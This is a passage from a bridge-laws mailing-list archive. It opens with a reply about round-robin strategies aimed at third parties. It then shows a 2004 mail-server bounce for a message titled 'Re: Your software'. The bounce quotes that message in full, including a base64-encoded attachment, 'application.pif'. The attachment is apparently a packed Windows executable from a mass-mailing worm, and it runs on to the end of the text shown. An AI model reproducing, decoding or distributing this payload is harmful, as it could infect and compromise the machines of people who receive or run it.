by the laws, regulations or > >conditions of contest. It remains to be seen whether the existence of > such a > >strategy can ever be proven. >=20 > I do not see the correspondence. What on earth connection does = your > strategy have with your ability to point out infractions? Now this is mainly theory but say that a player applies a certain = strategy with the main purpose of affecting "third party". Nobody at the table = feel damaged even though the applied strategy could have included an element = of irregularity. We don't know if there is any irregularity; this should be = up to the director to rule on, but the director is not called because the = only parties interested are barred from doing so. (A similar consideration = can be applied to the question of appeals). as an extra safety precaution As we do not allow "third parties" to attack happenings and rulings; = should we allow strategies and actions mainly for the purpose of affecting = "third party"? I must add that I have never seen or heard of such incidents in Norway. = We play a lot of round robins and only yesterday I directed an event where before the last round the victory was clear. Nobody even considered the possibility of foul play by the winners in the last round in order to = help another pair; that just doesn't happen. (It would be too easily spotted anyway). And BTW, when starting positions for our national championship for pairs = (85 rounds round robin) are drawn the computer program as an extra safety precaution searches for allocations so that different pairs from the = same region do not meet in the later rounds.=20 Sven From Mailer-Daemon@cpanel13.fuitadnet.com Fri May 21 09:52:53 2004 From: Mailer-Daemon@cpanel13.fuitadnet.com (Mail Delivery System) Date: Fri, 21 May 2004 03:52:53 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: shane@netjak.com This message has been rejected because it has a potentially executable attachment "application.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.172.119] (helo=netjak.com) by cpanel13.fuitadnet.com with esmtp (Exim 4.30) id 1BR5lo-0002kI-2e for shane@netjak.com; Fri, 21 May 2004 03:52:48 -0500 From: blml@rtflb.org To: shane@netjak.com Subject: Re: Your software Date: Fri, 21 May 2004 09:53:02 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0011_00006BCC.00005DAC" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0011_00006BCC.00005DAC Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0011_00006BCC.00005DAC Content-Type: application/octet-stream; name="application.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="application.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 